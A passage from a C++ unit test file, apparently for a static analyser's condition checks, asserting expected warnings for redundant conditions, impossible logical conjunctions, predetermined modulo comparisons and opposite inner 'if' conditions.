\" if (x > 5 && x != 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x != 1' is redundant since 'x > 5' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x != 6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x > 5) && (x != 1))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Redundant condition: The condition 'x != 1' is redundant since 'x > 5' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x > 5) && (x != 6))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 3 || x == 4;\\n\"\n \" c = x < 5 || x == 4;\\n\"\n \" d = x >= 3 || x == 4;\\n\"\n \" e = x <= 5 || x == 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x > 3' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:15]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x < 5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:16]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x >= 3' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:16]: (style) Redundant condition: The condition 'x == 4' is redundant since 'x <= 5' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 5 || x != 1;\\n\"\n \" c = x < 1 || x != 3;\\n\"\n \" d = x >= 5 || x != 1;\\n\"\n \" e = x <= 1 || x != 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x > 5' is redundant since 'x != 1' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:15]: (style) Redundant condition: The condition 'x < 1' is redundant since 'x != 3' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:16]: (style) Redundant condition: The condition 'x >= 5' is redundant since 'x != 1' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:16]: (style) Redundant condition: The condition 'x <= 1' is redundant since 'x != 3' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 6 && x > 5;\\n\"\n \" c = x > 5 || x > 6;\\n\"\n \" d = x < 6 && x < 5;\\n\"\n \" e = x < 5 || x < 6;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x > 5' is redundant since 'x > 6' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:15]: (style) Redundant condition: The condition 'x > 6' is redundant since 'x > 5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:15]: (style) Redundant condition: The condition 'x < 6' is redundant since 'x < 5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:15]: (style) Redundant condition: The condition 'x < 5' is redundant since 'x < 6' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(double x, bool& b) {\\n\"\n \" b = x > 6.5 && x > 5.5;\\n\"\n \" c = x > 5.5 || x > 6.5;\\n\"\n \" d = x < 6.5 && x < 5.5;\\n\"\n \" e = x < 5.5 || x < 6.5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Redundant condition: The condition 'x > 5.5' is redundant since 'x > 6.5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:3:17]: (style) Redundant condition: The condition 'x > 6.5' is redundant since 'x > 5.5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:4:17]: (style) Redundant condition: The condition 'x < 6.5' is redundant since 'x < 5.5' is sufficient. [redundantCondition]\\n\"\n \"[test.cpp:5:17]: (style) Redundant condition: The condition 'x < 5.5' is redundant since 'x < 6.5' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(const char *p) {\\n\" // #10320\n \" if (!p || !*p || *p != 'x') {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Redundant condition: The condition '!*p' is redundant since '*p != 'x'' is sufficient. [redundantCondition]\\n\",\n errout_str());\n }\n\n void incorrectLogicOp_condSwapping() {\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > x && x > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && 3 < x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > x && 3 < x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 && x < 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (3 < x && x < 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 && 1 > x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (3 < x && 1 > x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void modulo() {\n check(\"bool f(bool& b1, bool& b2, bool& b3) {\\n\"\n \" b1 = a % 5 == 4;\\n\"\n \" b2 = a % c == 100000;\\n\"\n \" b3 = a % 5 == c;\\n\"\n \" return a % 5 == 5-p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool& b1, bool& b2, bool& b3, bool& b4, bool& b5) {\\n\"\n \" b1 = a % 5 < 5;\\n\"\n \" b2 = a % 5 <= 5;\\n\"\n \" b3 = a % 5 == 5;\\n\"\n \" b4 = a % 5 != 5;\\n\"\n \" b5 = a % 5 >= 5;\\n\"\n \" return a % 5 > 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:3:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:4:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:5:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:6:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:7:18]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\",\n errout_str());\n\n check(\"void f(bool& b1, bool& b2) {\\n\"\n \" b1 = bar() % 5 < 889;\\n\"\n \" if(x[593] % 5 <= 5)\\n\"\n \" b2 = x.a % 5 == 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:20]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:3:19]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:4:22]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" if (a % 2 + b % 2 == 2)\\n\"\n \" foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerCondition() {\n check(\"void foo(int a, int b) {\\n\"\n \" if(a==b)\\n\"\n \" if(a!=b)\\n\"\n \" cout << a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"bool foo(int a, int b) {\\n\"\n \" if(a==b)\\n\"\n \" return a!=b;\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:17]: (warning) Opposite inner 'return' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if(a==b)\\n\"\n \" if(b!=a)\\n\"\n \" cout << a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" if(a >= 50) {\\n\"\n \" if(a < 50)\\n\"\n \" cout << a;\\n\"\n \" else\\n\"\n \" cout << 100;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:3:14]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n // #4186\n check(\"void foo(int a) {\\n\"\n \" if(a >= 50) {\\n\"\n \" if(a > 50)\\n\"\n \" cout << a;\\n\"\n \" else\\n\"\n \" cout << 100;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 4170\n check(\"class foo {\\n\"\n \" void bar() {\\n\"\n \" if (tok == '(') {\\n\"\n \" next();\\n\"\n \" if (tok == ',') {\\n\"\n \" next();\\n\"\n \" if (tok != ',') {\\n\"\n \" op->reg2 = asm_parse_reg();\\n\"\n \" }\\n\"\n \" skip(',');\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \" void next();\\n\"\n \" const char *tok;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int i)\\n\"\n \"{\\n\"\n \" if(i > 5) {\\n\"\n \" i = bar();\\n\"\n \" if(i < 5) {\\n\"\n \" cout << a;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i) {\\n\"\n \" i=6;\\n\"\n \"}\\n\"\n \"void bar(int i) {\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i);\\n\"\n \"void bar() {\\n\"\n \" int i; i = func();\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int i);\\n\"\n \"void bar(int i) {\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(const int &i);\\n\"\n \"void bar(int i) {\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(int i);\\n\"\n \"void bar() {\\n\"\n \" int i; i = func();\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:6:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"class C { void f(int &i) const; };\\n\" // #7028 - variable is changed by const method\n \"void foo(C c, int i) {\\n\"\n \" if (i==5) {\\n\"\n \" c.f(i);\\n\"\n \" if (i != 5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // see linux revision 1f80c0cc\n check(\"int generic_write_sync(int,int,int);\\n\"\n \"\\n\"\n \"void cifs_writev(int i) {\\n\"\n \" int rc = __generic_file_aio_write();\\n\"\n \" if (rc > 0){\\n\"\n \" err = generic_write_sync(file, iocb->ki_pos - rc, rc);\\n\"\n \" if(rc < 0) {\\n\" // <- condition is always false\n \" err = rc;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:11] -> [test.cpp:7:14]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n\n // #5874 - array\n check(\"void testOppositeConditions2() {\\n\"\n \" int array[2] = { 0, 0 };\\n\"\n \" if (array[0] < 2) {\\n\"\n \" array[0] += 5;\\n\"\n \" if (array[0] > 2) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6227 - FP caused by simplifications of casts and known variables\n check(\"void foo(A *a) {\\n\"\n \" if(a) {\\n\"\n \" B *b = dynamic_cast(a);\\n\"\n \" if(!b) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" if(a) {\\n\"\n \" int b = a;\\n\"\n \" if(!b) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:2:7] -> [test.cpp:4:11]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(unsigned u) {\\n\"\n \" if (u != 0) {\\n\"\n \" for (int i=0; i<32; i++) {\\n\"\n \" if (u == 0) {}\\n\" // <- don't warn\n \" u = x;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8186\n check(\"void f() {\\n\"\n \" for (int i=0;i<4;i++) {\\n\"\n \" if (i==5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n // #8938\n check(\"void Delete(SS_CELLCOORD upperleft) {\\n\"\n \" if ((upperleft.Col == -1) && (upperleft.Row == -1)) {\\n\"\n \" GetActiveCell(&(upperleft.Col), &(upperleft.Row));\\n\"\n \" if (upperleft.Row == -1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9702\n check(\"struct A {\\n\"\n \" void DoTest() {\\n\"\n \" if (!IsSet()) {\\n\"\n \" m_value = true;\\n\"\n \" if (IsSet());\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bool IsSet() const { return m_value; }\\n\"\n \" bool m_value = false;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12725\n check(\"bool f(bool b) {\\n\"\n \" if (b)\\n\"\n \" return !b;\\n\"\n \" b = g();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:16]: (style) Return value '!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void oppositeInnerConditionPointers() {\n check(\"void f(struct ABC *abc) {\\n\"\n \" struct AB *ab = abc->ab;\\n\"\n \" if (ab->a == 123){\\n\"\n \" do_something(abc);\\n\" // might change ab->a\n \" if (ab->a != 123) {\\n\"\n \" err = rc;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fred::f() {\\n\" // daca: ace\n \" if (this->next_ == map_man_->table_) {\\n\"\n \" this->next_ = n;\\n\"\n \" if (this->next_ != map_man_->table_) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(float *f) {\\n\" // #7405\n \" if(*f>10) {\\n\"\n \" (*f) += 0.1f;\\n\"\n \" if(*f<10) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int * f(int * x, int * y) {\\n\"\n \" if(!x) return x;\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionClass() {\n // #6095 - calling member function that might change the state\n check(\"void f() {\\n\"\n \" const Fred fred;\\n\" // <- fred is const, warn\n \" if (fred.isValid()) {\\n\"\n \" fred.dostuff();\\n\"\n \" if (!fred.isValid()) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19] -> [test.cpp:5:9]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"class Fred { public: bool isValid() const; void dostuff() const; };\\n\"\n \"void f() {\\n\"\n \" Fred fred;\\n\"\n \" if (fred.isValid()) {\\n\"\n \" fred.dostuff();\\n\" // <- dostuff() is const, warn\n \" if (!fred.isValid()) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:19] -> [test.cpp:6:9]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Fred fred;\\n\"\n \" if (fred.isValid()) {\\n\"\n \" fred.dostuff();\\n\"\n \" if (!fred.isValid()) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6385 \"crash in Variable::getFlag()\"\n check(\"class TranslationHandler {\\n\"\n \"QTranslator *mTranslator;\\n\"\n \"void SetLanguage() {\\n\"\n \" if (mTranslator) {\\n\"\n \" qApp->removeTranslator(mTranslator);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str()); // just don't crash...\n\n check(\"bool f(std::ofstream &CFileStream) {\\n\" // #8198\n \" if(!CFileStream.good()) { return; }\\n\"\n \" CFileStream << \\\"abc\\\";\\n\"\n \" if (!CFileStream.good()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionUndeclaredVariable() {\n // #5731 - fp when undeclared variable is used\n check(\"void f() {\\n\"\n \" if (x == -1){\\n\"\n \" x = do_something();\\n\"\n \" if (x != -1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5750 - another fp when undeclared variable is used\n check(\"void f() {\\n\"\n \" if (r < w){\\n\"\n \" r += 3;\\n\"\n \" if (r > w) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6574 - another fp when undeclared variable is used\n check(\"void foo() {\\n\"\n \" if(i) {\\n\"\n \" i++;\\n\"\n \" if(!i) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // undeclared array\n check(\"void f(int x) {\\n\"\n \" if (a[x] > 0) {\\n\"\n \" a[x] -= dt;\\n\"\n \" if (a[x] < 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6313 - false positive: opposite conditions in nested if blocks when condition changed\n check(\"void Foo::Bar() {\\n\"\n \" if(var){\\n\"\n \" --var;\\n\"\n \" if(!var){}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // daca hyphy\n check(\"bool f() {\\n\"\n \" if (rec.lLength==0) {\\n\"\n \" rec.Delete(i);\\n\"\n \" if (rec.lLength!=0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionAlias() {\n check(\"void f() {\\n\"\n \" struct S s;\\n\"\n \" bool hasFailed = false;\\n\"\n \" s.status = &hasFailed;\\n\"\n \"\\n\"\n \" if (! hasFailed) {\\n\"\n \" doStuff(&s);\\n\"\n \" if (hasFailed) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) Condition '!hasFailed' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void oppositeInnerCondition2() {\n // first comparison: <\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x==5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x!=5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x!=5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x>5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x>=5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x<5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x<=5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<=5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x==4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x!=4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x!=6) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x!=6' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x>4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>4' is always false [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x>=4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x<4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x<=4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<=4' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // first comparison: >\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x==5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x>5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x>=5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>=5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x<5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<5' is always false [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x<=5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x==4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x>4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>4' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x>=4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>=4' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x<4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x<=4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 4) {\\n\"\n \" if (10 < x) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n }\n\n void oppositeInnerCondition3() {\n check(\"void f3(char c) { if(c=='x') if(c=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23] -> [test.cpp:1:34]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f4(char *p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:1:37]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f5(const char * const p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:38] -> [test.cpp:1:50]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f5(const char * const p) { if('x'==*p) 